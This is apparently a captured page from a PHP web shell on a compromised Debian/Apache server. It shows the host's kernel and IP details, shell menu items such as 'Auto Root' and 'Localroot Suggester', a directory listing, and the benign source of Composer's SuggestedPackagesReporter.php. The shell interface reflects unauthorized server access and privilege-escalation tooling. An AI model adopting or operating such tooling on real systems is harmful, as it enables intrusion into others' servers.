Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Installer /
Delete
Unzip
Name
Size
Permission
Date
Action
BinaryInstaller.php
7.05
KB
-rw-r--r--
2016-11-03 17:43
BinaryPresenceInterface.php
731
B
-rw-r--r--
2016-11-03 17:43
InstallationManager.php
10.52
KB
-rw-r--r--
2016-11-03 17:43
InstallerEvent.php
3.14
KB
-rw-r--r--
2016-11-03 17:43
InstallerEvents.php
1.01
KB
-rw-r--r--
2016-11-03 17:43
InstallerInterface.php
2.4
KB
-rw-r--r--
2016-11-03 17:43
LibraryInstaller.php
7.16
KB
-rw-r--r--
2016-11-03 17:43
MetapackageInstaller.php
1.87
KB
-rw-r--r--
2016-11-03 17:43
NoopInstaller.php
2.11
KB
-rw-r--r--
2016-11-03 17:43
PackageEvent.php
1.83
KB
-rw-r--r--
2016-11-03 17:43
PackageEvents.php
1.96
KB
-rw-r--r--
2016-11-03 17:43
PearBinaryInstaller.php
4.81
KB
-rw-r--r--
2016-11-03 17:43
PearInstaller.php
2.8
KB
-rw-r--r--
2016-11-03 17:43
PluginInstaller.php
2.55
KB
-rw-r--r--
2016-11-03 17:43
ProjectInstaller.php
2.55
KB
-rw-r--r--
2016-11-03 17:43
SuggestedPackagesReporter.php
3.32
KB
-rw-r--r--
2016-11-03 17:43
Save
Rename
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Installer; use Composer\IO\IOInterface; use Composer\Package\PackageInterface; use Composer\Repository\RepositoryInterface; /** * Add suggested packages from different places to output them in the end. * * @author Haralan Dobrev <hkdobrev@gmail.com> */ class SuggestedPackagesReporter { /** * @var array */ protected $suggestedPackages = array(); /** * @var IOInterface */ private $io; public function __construct(IOInterface $io) { $this->io = $io; } /** * @return array Suggested packages with source, target and reason keys. */ public function getPackages() { return $this->suggestedPackages; } /** * Add suggested packages to be listed after install * * Could be used to add suggested packages both from the installer * or from CreateProjectCommand. * * @param string $source Source package which made the suggestion * @param string $target Target package to be suggested * @param string $reason Reason the target package to be suggested * @return SuggestedPackagesReporter */ public function addPackage($source, $target, $reason) { $this->suggestedPackages[] = array( 'source' => $source, 'target' => $target, 'reason' => $reason, ); return $this; } /** * Add all suggestions from a package. * * @param PackageInterface $package * @return SuggestedPackagesReporter */ public function addSuggestionsFromPackage(PackageInterface $package) { $source = $package->getPrettyName(); foreach ($package->getSuggests() as $target => $reason) { $this->addPackage( $source, $target, $reason ); } return $this; } /** * Output suggested packages. * Do not list the ones already installed if installed repository provided. * * @param RepositoryInterface $installedRepo Installed packages * @return SuggestedPackagesReporter */ public function output(RepositoryInterface $installedRepo = null) { $suggestedPackages = $this->getPackages(); $installedPackages = array(); if (null !== $installedRepo && ! empty($suggestedPackages)) { foreach ($installedRepo->getPackages() as $package) { $installedPackages = array_merge( $installedPackages, $package->getNames() ); } } foreach ($suggestedPackages as $suggestion) { if (in_array($suggestion['target'], $installedPackages)) { continue; } $this->io->writeError(sprintf( '%s suggests installing %s (%s)', $suggestion['source'], $suggestion['target'], $suggestion['reason'] )); } return $this; } }